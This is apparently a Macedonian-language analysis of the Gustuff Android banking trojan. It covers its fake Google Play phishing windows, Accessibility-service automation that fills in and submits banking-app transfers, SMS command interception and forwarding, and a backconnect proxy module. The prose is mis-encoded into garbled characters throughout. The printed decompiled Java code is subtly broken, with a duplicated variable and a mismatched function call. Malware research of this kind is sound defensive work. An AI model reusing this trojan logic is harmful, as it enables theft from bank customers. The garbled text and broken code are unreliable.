- ΠΡΠΈΠΊΠ°ΠΆΠΈ ΠΏΡΠΎΠ·ΠΎΡΠ΅Ρ Π·Π° ΡΠΈΡΠΈΠ½Π³ ΡΠΈΡΠ° ΡΠΎΠ΄ΡΠΆΠΈΠ½Π° Π΅ Π·Π°ΠΏΠΈΡΠ°Π½Π° Π²ΠΎ Π΄Π°ΡΠΎΡΠ΅ΠΊΠ° Π²ΠΎ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΠΌ /hgps/. Π Π΅Π·ΡΠ»ΡΠ°ΡΠΎΡ ΠΎΠ΄ ΠΈΠ½ΡΠ΅ΡΠ°ΠΊΡΠΈΡΠ°ΡΠ° Π½Π° ΠΊΠΎΡΠΈΡΠ½ΠΈΠΊΠΎΡ ΡΠΎ ΠΏΡΠΎΠ·ΠΎΡΠ΅ΡΠΎΡ ΡΠ΅ Π±ΠΈΠ΄Π΅ ΠΈΡΠΏΡΠ°ΡΠ΅Π½ Π΄ΠΎ /records.php
- ΠΡΠΈΠΊΠ°ΠΆΠΈ ΠΏΡΠΎΠ·ΠΎΡΠ΅Ρ Π·Π° ΡΠΈΡΠΈΠ½Π³ ΡΠΈΡΠ° ΡΠΎΠ΄ΡΠΆΠΈΠ½Π° Π΅ ΠΏΡΠ΅ΡΡ ΠΎΠ΄Π½ΠΎ Π²ΡΠΈΡΠ°Π½Π° ΠΎΠ΄ Π°Π΄ΡΠ΅ΡΠ°ΡΠ° ?id=&app=. Π Π΅Π·ΡΠ»ΡΠ°ΡΠΎΡ ΠΎΠ΄ ΠΈΠ½ΡΠ΅ΡΠ°ΠΊΡΠΈΡΠ°ΡΠ° Π½Π° ΠΊΠΎΡΠΈΡΠ½ΠΈΠΊΠΎΡ ΡΠΎ ΠΏΡΠΎΠ·ΠΎΡΠ΅ΡΠΎΡ ΡΠ΅ Π±ΠΈΠ΄Π΅ ΠΈΡΠΏΡΠ°ΡΠ΅Π½ Π΄ΠΎ /records.php
- ΠΡΠΈΠΊΠ°ΠΆΠΈ ΠΏΡΠΎΠ·ΠΎΡΠ΅Ρ Π·Π° ΡΠΈΡΠΈΠ½Π³ ΠΌΠ°ΡΠΊΠΈΡΠ°Π½ ΠΊΠ°ΠΊΠΎ ΠΊΠ°ΡΡΠΈΡΠΊΠ° Π½Π° Google Play.
- ΠΈΠ½ΡΠ΅ΡΠ°ΠΊΡΠΈΠ²Π½ΠΈ β ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° Π΅ Π΄ΠΈΠ·Π°ΡΠ½ΠΈΡΠ°Π½Π° Π΄Π° ΠΊΠΎΠΌΡΠ½ΠΈΡΠΈΡΠ° ΡΠΎ Π΅Π»Π΅ΠΌΠ΅Π½ΡΠΈ Π½Π° ΠΏΡΠΎΠ·ΠΎΡΠ΅ΡΠΎΡ Π½Π° Π΄ΡΡΠ³ΠΈ Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΠΈ ΠΊΠΎΡΠΈΡΡΠ΅ΡΡΠΈ AcessibilityService. ΠΠΎ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠ°ΡΠ° Π·Π° ΠΈΠ½ΡΠ΅ΡΠ°ΠΊΡΠΈΡΠ° Π΅ ΠΈΠΌΠΏΠ»Π΅ΠΌΠ΅Π½ΡΠΈΡΠ°Π½Π° ΠΏΠΎΡΠ΅Π±Π½Π° ΡΡΠ»ΡΠ³Π°. ΠΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° ΠΏΠΎΠ΄ ΠΈΡΡΡΠ°Π³Π° ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΊΠΎΠΌΡΠ½ΠΈΡΠΈΡΠ° ΡΠΎ Windows:
- ΠΠΎΠΌΠ΅Π½ΡΠ°Π»Π½ΠΎ Π°ΠΊΡΠΈΠ²Π½ΠΈ. ΠΠΎ ΠΎΠ²ΠΎΡ ΡΠ»ΡΡΠ°Ρ, ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΠ°ΡΠΎΡ ΡΠΎΠ΄ΡΠΆΠΈ id ΠΈΠ»ΠΈ ΡΠ΅ΠΊΡΡ (ΠΈΠΌΠ΅) Π½Π° ΠΎΠ±ΡΠ΅ΠΊΡΠΎΡ ΡΠΎ ΠΊΠΎΡ ΡΡΠ΅Π±Π° Π΄Π° ΠΊΠΎΠΌΡΠ½ΠΈΡΠΈΡΠ°ΡΠ΅.
- ΠΠΈΠ΄Π»ΠΈΠ²ΠΎ Π·Π° ΠΊΠΎΡΠΈΡΠ½ΠΈΠΊΠΎΡ Π²ΠΎ ΠΌΠΎΠΌΠ΅Π½ΡΠΎΡ ΠΊΠΎΠ³Π° ΡΠ΅ ΠΈΠ·Π²ΡΡΡΠ²Π° ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ°. ΠΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° ΠΈΠ·Π±ΠΈΡΠ° ΠΏΡΠΎΠ·ΠΎΡΡΠΈ ΠΏΠΎ id.
ΠΠΌΠ°ΡΡΠΈ ΠΏΡΠΈΠΌΠ΅Π½ΠΎ ΠΏΡΠ΅Π΄ΠΌΠ΅ΡΠΈ AccessibilityNodeInfo ΠΠ° Π΅Π»Π΅ΠΌΠ΅Π½ΡΠΈΡΠ΅ Π½Π° ΠΏΡΠΎΠ·ΠΎΡΠ΅ΡΠΎΡ ΠΎΠ΄ ΠΈΠ½ΡΠ΅ΡΠ΅Ρ, Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ°, Π²ΠΎ Π·Π°Π²ΠΈΡΠ½ΠΎΡΡ ΠΎΠ΄ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠΈΡΠ΅, ΠΌΠΎΠΆΠ΅ Π΄Π° Π³ΠΈ ΠΈΠ·Π²ΡΡΠΈ ΡΠ»Π΅Π΄Π½ΠΈΡΠ΅ Π΄Π΅ΡΡΡΠ²Π°:
- ΡΠΎΠΊΡΡ β ΠΏΠΎΡΡΠ°Π²Π΅ΡΠ΅ Π³ΠΎ ΡΠΎΠΊΡΡΠΎΡ Π½Π° ΠΎΠ±ΡΠ΅ΠΊΡΠΎΡ.
- ΠΊΠ»ΠΈΠΊΠ½Π΅ΡΠ΅ - ΠΊΠ»ΠΈΠΊΠ½Π΅ΡΠ΅ Π½Π° ΠΎΠ±ΡΠ΅ΠΊΡ.
- actionId β ΠΈΠ·Π²ΡΡΠΈ Π΄Π΅ΡΡΡΠ²ΠΎ ΠΏΠΎ ID.
- setText β ΡΠΌΠ΅Π½Π΅ΡΠ΅ Π³ΠΎ ΡΠ΅ΠΊΡΡΠΎΡ Π½Π° ΠΎΠ±ΡΠ΅ΠΊΡΠΎΡ. ΠΡΠΎΠΌΠ΅Π½Π°ΡΠ° Π½Π° ΡΠ΅ΠΊΡΡΠΎΡ Π΅ ΠΌΠΎΠΆΠ½Π° Π½Π° Π΄Π²Π° Π½Π°ΡΠΈΠ½Π°: ΠΈΠ·Π²ΡΡΠΈ Π΄Π΅ΡΡΡΠ²ΠΎ ACTION_SET_TEXT (Π°ΠΊΠΎ Π²Π΅ΡΠ·ΠΈΡΠ°ΡΠ° Π½Π° Android Π½Π° Π·Π°ΡΠ°Π·Π΅Π½ΠΈΠΎΡ ΡΡΠ΅Π΄ Π΅ ΠΏΠΎΠΌΠ»Π°Π΄Π° ΠΈΠ»ΠΈ Π΅Π΄Π½Π°ΠΊΠ²Π° Π½Π° LOLLIPOP), ΠΈΠ»ΠΈ ΡΠΎ ΠΏΠΎΡΡΠ°Π²ΡΠ²Π°ΡΠ΅ Π½ΠΈΠ·Π° Π½Π° ΡΠ°Π±Π»Π°ΡΠ° ΡΠΎ ΠΈΡΠ΅ΡΠΎΡΠΈ ΠΈ Π²ΠΌΠ΅ΡΠ½ΡΠ²Π°ΡΠ΅ Π²ΠΎ ΠΎΠ±ΡΠ΅ΠΊΡ (Π·Π° ΠΏΠΎΡΡΠ°ΡΠΈ Π²Π΅ΡΠ·ΠΈΠΈ). ΠΠ²Π°Π° ΠΊΠΎΠΌΠ°Π½Π΄Π° ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ ΠΊΠΎΡΠΈΡΡΠΈ Π·Π° ΠΏΡΠΎΠΌΠ΅Π½Π° Π½Π° ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈ Π²ΠΎ Π±Π°Π½ΠΊΠ°ΡΡΠΊΠ° Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°.
2. PARAMS_ACTIONS - ΠΈΡΡΠΎ ΠΊΠ°ΠΊΠΎ PARAMS_ACTION, ΠΏΡΠΈΡΡΠΈΠ³Π½ΡΠ²Π° ΡΠ°ΠΌΠΎ JSON Π½ΠΈΠ·Π° ΠΎΠ΄ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ.
Π‘Π΅ ΡΠΈΠ½ΠΈ Π΄Π΅ΠΊΠ° ΠΌΠ½ΠΎΠ³Ρ Π»ΡΡΠ΅ ΡΠ΅ Π±ΠΈΠ΄Π°Ρ Π·Π°ΠΈΠ½ΡΠ΅ΡΠ΅ΡΠΈΡΠ°Π½ΠΈ Π·Π° ΡΠΎΠ° ΠΊΠ°ΠΊΠΎ ΠΈΠ·Π³Π»Π΅Π΄Π° ΡΡΠ½ΠΊΡΠΈΡΠ°ΡΠ° Π½Π° ΠΈΠ½ΡΠ΅ΡΠ°ΠΊΡΠΈΡΠ° ΡΠΎ Π΅Π»Π΅ΠΌΠ΅Π½ΡΠΈ Π½Π° ΠΏΡΠΎΠ·ΠΎΡΠ΅ΡΠΎΡ Π½Π° Π΄ΡΡΠ³Π° Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°. ΠΠ°ΠΊΠ° ΡΠ΅ ΠΈΠΌΠΏΠ»Π΅ΠΌΠ΅Π½ΡΠΈΡΠ° ΠΎΠ²Π°Π° ΡΡΠ½ΠΊΡΠΈΠΎΠ½Π°Π»Π½ΠΎΡΡ Π²ΠΎ Gustuff:
boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
int count = action.optInt("repeat", 1);
Iterator aiListIterator = ((Iterable)aiList).iterator();
int count = 0;
while(aiListIterator.hasNext()) {
Object ani = aiListIterator.next();
if(1 <= count) {
int index;
for(index = 1; true; ++index) {
if(action.has("focus")) {
if(((AccessibilityNodeInfo)ani).performAction(1)) {
++count;
}
}
else if(action.has("click")) {
if(((AccessibilityNodeInfo)ani).performAction(16)) {
++count;
}
}
else if(action.has("actionId")) {
if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
++count;
}
}
else if(action.has("setText")) {
customHeader ch = CustomAccessibilityService.a;
Context context = this.getApplicationContext();
String text = action.optString("setText");
if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
++count;
}
}
if(index == count) {
break;
}
}
}
((AccessibilityNodeInfo)ani).recycle();
}
res.addPropertyNumber("res", Integer.valueOf(count));
}
Π€ΡΠ½ΠΊΡΠΈΡΠ° Π·Π° Π·Π°ΠΌΠ΅Π½Π° Π½Π° ΡΠ΅ΠΊΡΡ:
boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
boolean result;
if(Build$VERSION.SDK_INT >= 21) {
Bundle b = new Bundle();
b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
result = ani.performAction(0x200000, b); // ACTION_SET_TEXT
}
else {
Object clipboard = context.getSystemService("clipboard");
if(clipboard != null) {
((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
result = ani.performAction(0x8000); // ACTION_PASTE
}
else {
result = false;
}
}
return result;
}
Π’Π°ΠΊΠ°, ΡΠΎ ΠΏΡΠ°Π²ΠΈΠ»Π½Π° ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΡΠ° Π½Π° ΠΊΠΎΠ½ΡΡΠΎΠ»Π½ΠΈΠΎΡ ΡΠ΅ΡΠ²Π΅Ρ, ΠΠ°ΡΡΡΡ ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΏΠΎΠΏΠΎΠ»Π½ΠΈ ΡΠ΅ΠΊΡΡΡΠ°Π»Π½ΠΈ ΠΏΠΎΠ»ΠΈΡΠ° Π²ΠΎ Π±Π°Π½ΠΊΠ°ΡΡΠΊΠ°ΡΠ° Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ° ΠΈ Π΄Π° ΠΊΠ»ΠΈΠΊΠ½Π΅ Π½Π° ΠΊΠΎΠΏΡΠΈΡΠ°ΡΠ° ΠΏΠΎΡΡΠ΅Π±Π½ΠΈ Π·Π° Π΄Π° ΡΠ΅ Π·Π°Π²ΡΡΠΈ ΡΡΠ°Π½ΡΠ°ΠΊΡΠΈΡΠ°ΡΠ°. Π’ΡΠΎΡΠ°Π½Π΅ΡΠΎΡ Π΄ΡΡΠΈ ΠΈ Π½Π΅ ΡΡΠ΅Π±Π° Π΄Π° ΡΠ΅ Π»ΠΎΠ³ΠΈΡΠ° Π²ΠΎ Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° - Π΄ΠΎΠ²ΠΎΠ»Π½ΠΎ Π΅ Π΄Π° ΠΈΡΠΏΡΠ°ΡΠΈΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Π° Π·Π° ΠΏΡΠΈΠΊΠ°ΠΆΡΠ²Π°ΡΠ΅ Π½Π° ΠΈΠ·Π²Π΅ΡΡΡΠ²Π°ΡΠ΅ PUSH ΠΈ ΠΏΠΎΡΠΎΠ° Π΄Π° ΡΠ° ΠΎΡΠ²ΠΎΡΠΈΡΠ΅ ΠΏΡΠ΅ΡΡ ΠΎΠ΄Π½ΠΎ ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ°Π½Π°ΡΠ° Π±Π°Π½ΠΊΠ°ΡΡΠΊΠ° Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°. ΠΠΎΡΠΈΡΠ½ΠΈΠΊΠΎΡ ΡΠ°ΠΌ ΡΠ΅ ΡΠ΅ Π°Π²ΡΠ΅Π½ΡΠΈΡΠΈΡΠ°, ΠΏΠΎ ΡΡΠΎ ΠΠ°ΡΡΡΡ ΡΠ΅ ΠΌΠΎΠΆΠ΅ Π΄Π° Π³ΠΎ Π½Π°ΠΏΠΎΠ»Π½ΠΈ Π°Π²ΡΠΎΠΌΠΎΠ±ΠΈΠ»ΠΎΡ.
ΠΠΎΠ΄ΡΠ» Π·Π° ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠ° Π½Π° Π‘ΠΠ‘ ΠΏΠΎΡΠ°ΠΊΠΈ
ΠΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ° ΡΠΏΡΠ°Π²ΡΠ²Π°Ρ Π·Π° Π½Π°ΡΡΠ°Π½ΠΈ Π·Π° Π·Π°ΡΠ°Π·Π΅Π½ΠΈΠΎΡ ΡΡΠ΅Π΄ Π΄Π° ΠΏΡΠΈΡΠ°ΡΠ° Π‘ΠΠ‘ ΠΏΠΎΡΠ°ΠΊΠΈ. ΠΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° ΡΡΠΎ ΡΠ΅ ΠΏΡΠΎΡΡΡΠ²Π° ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΏΡΠΈΠΌΠ° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ ΠΎΠ΄ ΠΎΠΏΠ΅ΡΠ°ΡΠΎΡΠΎΡ, ΠΊΠΎΠΈ Π΄ΠΎΠ°ΡΠ°Π°Ρ Π²ΠΎ ΡΠ΅Π»ΠΎΡΠΎ Π½Π° Π‘ΠΠ‘ ΠΏΠΎΡΠ°ΠΊΠ°ΡΠ°. ΠΠΎΠΌΠ°Π½Π΄ΠΈΡΠ΅ Π΄ΠΎΠ°ΡΠ°Π°Ρ Π²ΠΎ ΡΠΎΡΠΌΠ°Ρ:
7!5=
ΠΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° ΡΠ° Π±Π°ΡΠ° Π½ΠΈΠ·Π°ΡΠ° Π²ΠΎ ΡΠΈΡΠ΅ Π΄ΠΎΡΠ΄ΠΎΠ²Π½ΠΈ Π‘ΠΠ‘ ΠΏΠΎΡΠ°ΠΊΠΈ 7!5=, ΠΊΠΎΠ³Π° ΡΠ΅ ΡΠ΅ ΠΎΡΠΊΡΠΈΠ΅ Π½ΠΈΠ·Π°, ΡΠ°Π° ΡΠ° Π΄Π΅ΠΊΠΎΠ΄ΠΈΡΠ° Π½ΠΈΠ·Π°ΡΠ° ΠΎΠ΄ Base64 ΠΏΡΠΈ ΠΏΠΎΠΌΠ΅ΡΡΡΠ²Π°ΡΠ΅ 4 ΠΈ ΡΠ° ΠΈΠ·Π²ΡΡΡΠ²Π° ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ°. ΠΠΎΠΌΠ°Π½Π΄ΠΈΡΠ΅ ΡΠ΅ ΡΠ»ΠΈΡΠ½ΠΈ Π½Π° ΠΎΠ½ΠΈΠ΅ ΡΠΎ CnC. Π Π΅Π·ΡΠ»ΡΠ°ΡΠΎΡ ΠΎΠ΄ ΠΈΠ·Π²ΡΡΡΠ²Π°ΡΠ΅ΡΠΎ ΡΠ΅ ΠΈΡΠΏΡΠ°ΡΠ° Π½Π° ΠΈΡΡΠΈΠΎΡ Π±ΡΠΎΡ ΠΎΠ΄ ΠΊΠΎΡ Π΄ΠΎΡΠ΄Π΅ ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ°. Π€ΠΎΡΠΌΠ°Ρ Π½Π° ΠΎΠ΄Π³ΠΎΠ²ΠΎΡ:
7*5=
ΠΠΎ ΠΈΠ·Π±ΠΎΡ, Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° ΠΌΠΎΠΆΠ΅ Π΄Π° Π³ΠΈ ΠΈΡΠΏΡΠ°ΡΠΈ ΡΠΈΡΠ΅ ΠΏΡΠΈΠΌΠ΅Π½ΠΈ ΠΏΠΎΡΠ°ΠΊΠΈ Π½Π° Root Π±ΡΠΎΡΠΎΡ. ΠΠ° Π΄Π° Π³ΠΎ Π½Π°ΠΏΡΠ°Π²ΠΈΡΠ΅ ΠΎΠ²Π°, ΠΊΠΎΡΠ΅Π½ΡΠΊΠΈΠΎΡ Π±ΡΠΎΡ ΠΌΠΎΡΠ° Π΄Π° Π±ΠΈΠ΄Π΅ Π½Π°Π²Π΅Π΄Π΅Π½ Π²ΠΎ ΠΏΡΠ΅ΡΠ΅ΡΠ΅Π½ΡΠ½Π°ΡΠ° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ° ΠΈ ΠΌΠΎΡΠ° Π΄Π° ΡΠ΅ ΠΏΠΎΡΡΠ°Π²ΠΈ Π·Π½Π°ΠΌΠ΅ΡΠΎ Π·Π° ΠΏΡΠ΅Π½Π°ΡΠΎΡΡΠ²Π°ΡΠ΅ Π½Π° ΠΏΠΎΡΠ°ΠΊΠ°ΡΠ°. Π‘ΠΠ‘ ΠΏΠΎΡΠ°ΠΊΠ° ΡΠ΅ ΠΈΡΠΏΡΠ°ΡΠ° Π½Π° Π±ΡΠΎΡΠΎΡ Π½Π° Π½Π°ΠΏΠ°ΡΠ°ΡΠΎΡ Π²ΠΎ ΡΠΎΡΠΌΠ°Ρ:
-
ΠΡΡΠΎ ΡΠ°ΠΊΠ°, ΠΏΠΎ ΠΈΠ·Π±ΠΎΡ, Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΈΡΠΏΡΠ°ΡΠ° ΠΏΠΎΡΠ°ΠΊΠΈ Π΄ΠΎ CnC. Π‘ΠΠ‘ ΠΏΠΎΡΠ°ΠΊΠ°ΡΠ° ΡΠ΅ ΠΈΡΠΏΡΠ°ΡΠ° Π΄ΠΎ ΡΠ΅ΡΠ²Π΅ΡΠΎΡ Π²ΠΎ JSON ΡΠΎΡΠΌΠ°Ρ:
{
"id":<%BotID%>,
"sms":
{
"text":<%SMS body%>,
"number":<%From number%>,
"date":<%Timestamp%>
}
}
ΠΠΊΠΎ Π·Π½Π°ΠΌΠ΅ΡΠΎ Π΅ ΠΏΠΎΡΡΠ°Π²Π΅Π½ΠΎ nameGenerator (βDEFAULT_APP_SMSβ) β Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° ΠΏΡΠ΅ΡΡΠ°Π½ΡΠ²Π° Π΄Π° ΡΠ° ΠΎΠ±ΡΠ°Π±ΠΎΡΡΠ²Π° Π‘ΠΠ‘ ΠΏΠΎΡΠ°ΠΊΠ°ΡΠ° ΠΈ ΡΠ° Π±ΡΠΈΡΠ΅ Π»ΠΈΡΡΠ°ΡΠ° Π½Π° Π΄ΠΎΡΠ΄ΠΎΠ²Π½ΠΈ ΠΏΠΎΡΠ°ΠΊΠΈ.
ΠΡΠΎΠΊΡΠΈ-ΠΌΠΎΠ΄ΡΠ»
ΠΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° ΡΡΠΎ ΡΠ΅ ΠΏΡΠΎΡΡΡΠ²Π° ΡΠΎΠ΄ΡΠΆΠΈ Backconnect Proxy ΠΌΠΎΠ΄ΡΠ» (Π²ΠΎ Π½Π°ΡΠ°ΠΌΠΎΡΠ½ΠΈΠΎΡ ΡΠ΅ΠΊΡΡ ΠΊΠ°ΠΊΠΎ Proxy ΠΌΠΎΠ΄ΡΠ»), ΠΊΠΎΡ ΠΈΠΌΠ° ΠΏΠΎΡΠ΅Π±Π½Π° ΠΊΠ»Π°ΡΠ° ΠΊΠΎΡΠ° Π²ΠΊΠ»ΡΡΡΠ²Π° ΡΡΠ°ΡΠΈΡΠ½ΠΈ ΠΏΠΎΠ»ΠΈΡΠ° ΡΠΎ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΡΠ°. ΠΠΎΠ΄Π°ΡΠΎΡΠΈΡΠ΅ Π·Π° ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΡΠ° ΡΠ΅ Π·Π°ΡΡΠ²ΡΠ²Π°Π°Ρ Π²ΠΎ ΠΏΡΠΈΠΌΠ΅ΡΠΎΠΊΠΎΡ Π²ΠΎ ΡΠ°ΡΠ½Π° ΡΠΎΡΠΌΠ°:
Π‘ΠΈΡΠ΅ Π΄Π΅ΡΡΡΠ²Π° ΡΡΠΎ Π³ΠΈ Π²ΡΡΠΈ ΠΏΡΠΎΠΊΡΠΈ-ΠΌΠΎΠ΄ΡΠ»ΠΎΡ ΡΠ΅ Π½Π°ΡΠ°Π²Π΅Π½ΠΈ Π²ΠΎ Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈΡΠ΅. ΠΠ° Π΄Π° Π³ΠΎ Π½Π°ΠΏΡΠ°Π²ΠΈΡΠ΅ ΠΎΠ²Π°, Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° Π²ΠΎ ΠΠ°Π΄Π²ΠΎΡΠ΅ΡΠ½ΠΎΡΠΎ ΡΠΊΠ»Π°Π΄ΠΈΡΠ°ΡΠ΅ ΡΠΎΠ·Π΄Π°Π²Π° Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΠΌ Π½Π°ΡΠ΅ΡΠ΅Π½ βΠ»ΠΎΠ³ΠΎΠ²ΠΈβ (ΠΏΠΎΠ»Π΅ΡΠΎ ProxyConfigClass.logsDir Π²ΠΎ ΠΊΠ»Π°ΡΠ°ΡΠ° Π·Π° ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΡΠ°), Π²ΠΎ ΠΊΠΎΡ ΡΠ΅ ΡΡΠ²Π°Π°Ρ Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈΡΠ΅ Π·Π° Π΄Π½Π΅Π²Π½ΠΈΡΠΈ. ΠΡΠΈΡΠ°Π²ΡΠ²Π°ΡΠ΅ΡΠΎ ΡΠ΅ ΡΠ»ΡΡΡΠ²Π° Π²ΠΎ Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈ ΡΠΎ ΠΈΠΌΠΈΡΠ°:
- Π³Π»Π°Π²Π΅Π½.txt β ΡΠ°Π±ΠΎΡΠ°ΡΠ° Π½Π° ΠΊΠ»Π°ΡΠ°ΡΠ° Π½Π°ΡΠ΅ΡΠ΅Π½Π° CommandServer Π΅ Π»ΠΎΠ³ΠΈΡΠ°Π½Π° Π²ΠΎ ΠΎΠ²Π°Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°. ΠΠΎ ΡΠ»Π΅Π΄Π½ΠΎΠ²ΠΎ, Π²Π½Π΅ΡΡΠ²Π°ΡΠ΅ΡΠΎ Π½Π° Π½ΠΈΠ·Π°ΡΠ° str Π²ΠΎ ΠΎΠ²Π°Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ° ΡΠ΅ Π±ΠΈΠ΄Π΅ ΠΎΠ·Π½Π°ΡΠ΅Π½ΠΎ ΠΊΠ°ΠΊΠΎ mainLog(str).
- ΡΠ΅ΡΠΈΡΠ°-.txt β ΠΎΠ²Π°Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ° Π·Π°ΡΡΠ²ΡΠ²Π° ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈ ΠΎΠ΄ Π΄Π½Π΅Π²Π½ΠΈΠΊΠΎΡ ΠΏΠΎΠ²ΡΠ·Π°Π½ΠΈ ΡΠΎ ΠΎΠ΄ΡΠ΅Π΄Π΅Π½Π° ΡΠ΅ΡΠΈΡΠ° Π½Π° ΠΏΡΠΎΠΊΡΠΈ. ΠΠΎ ΡΠ»Π΅Π΄Π½ΠΎΠ²ΠΎ, Π²Π½Π΅ΡΡΠ²Π°ΡΠ΅ΡΠΎ Π½Π° Π½ΠΈΠ·Π°ΡΠ° str Π²ΠΎ ΠΎΠ²Π°Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ° ΡΠ΅ Π±ΠΈΠ΄Π΅ ΠΎΠ·Π½Π°ΡΠ΅Π½ΠΎ ΠΊΠ°ΠΊΠΎ sessionLog (str).
- server.txt β ΠΎΠ²Π°Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ° ΡΠ΅ ΠΊΠΎΡΠΈΡΡΠΈ Π·Π° Π΅Π²ΠΈΠ΄Π΅Π½ΡΠΈΡΠ°ΡΠ΅ Π½Π° ΡΠΈΡΠ΅ ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈ Π·Π°ΠΏΠΈΡΠ°Π½ΠΈ Π²ΠΎ Π³ΠΎΡΠ΅ΠΎΠΏΠΈΡΠ°Π½ΠΈΡΠ΅ Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈ.
Π€ΠΎΡΠΌΠ°Ρ Π½Π° ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈ Π·Π° Π΅Π²ΠΈΠ΄Π΅Π½ΡΠΈΡΠ°:
[ΠΠΈΠΌΠ°[], id[]]: Π»ΠΎΠ³-Π½ΠΈΠ·Π°
ΠΡΠΊΠ»ΡΡΠΎΡΠΈΡΠ΅ ΡΡΠΎ ΡΠ΅ ΠΏΠΎΡΠ°Π²ΡΠ²Π°Π°Ρ Π·Π° Π²ΡΠ΅ΠΌΠ΅ Π½Π° ΡΠ°Π±ΠΎΡΠ°ΡΠ° Π½Π° ΠΌΠΎΠ΄ΡΠ»ΠΎΡ Proxy ΠΈΡΡΠΎ ΡΠ°ΠΊΠ° ΡΠ΅ Π΅Π²ΠΈΠ΄Π΅Π½ΡΠΈΡΠ°Π½ΠΈ Π²ΠΎ Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°. ΠΠ° Π΄Π° Π³ΠΎ Π½Π°ΠΏΡΠ°Π²ΠΈΡΠ΅ ΠΎΠ²Π°, Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° Π³Π΅Π½Π΅ΡΠΈΡΠ° JSON ΠΎΠ±ΡΠ΅ΠΊΡ Π²ΠΎ ΡΠ»Π΅Π΄Π½ΠΈΠΎΠ² ΡΠΎΡΠΌΠ°Ρ:
{
"uncaughtException":<%short description of throwable%>
"thread":<%thread%>
"message":<%detail message of throwable%>
"trace": //Stack trace info
[
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
},
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
}
]
}
ΠΠΎΡΠΎΠ° Π³ΠΎ ΠΊΠΎΠ½Π²Π΅ΡΡΠΈΡΠ° Π²ΠΎ ΠΏΡΠ΅ΡΡΡΠ°Π²Π° Π½Π° Π½ΠΈΠ·Π° ΠΈ ΡΠ° Π΅Π²ΠΈΠ΄Π΅Π½ΡΠΈΡΠ°.
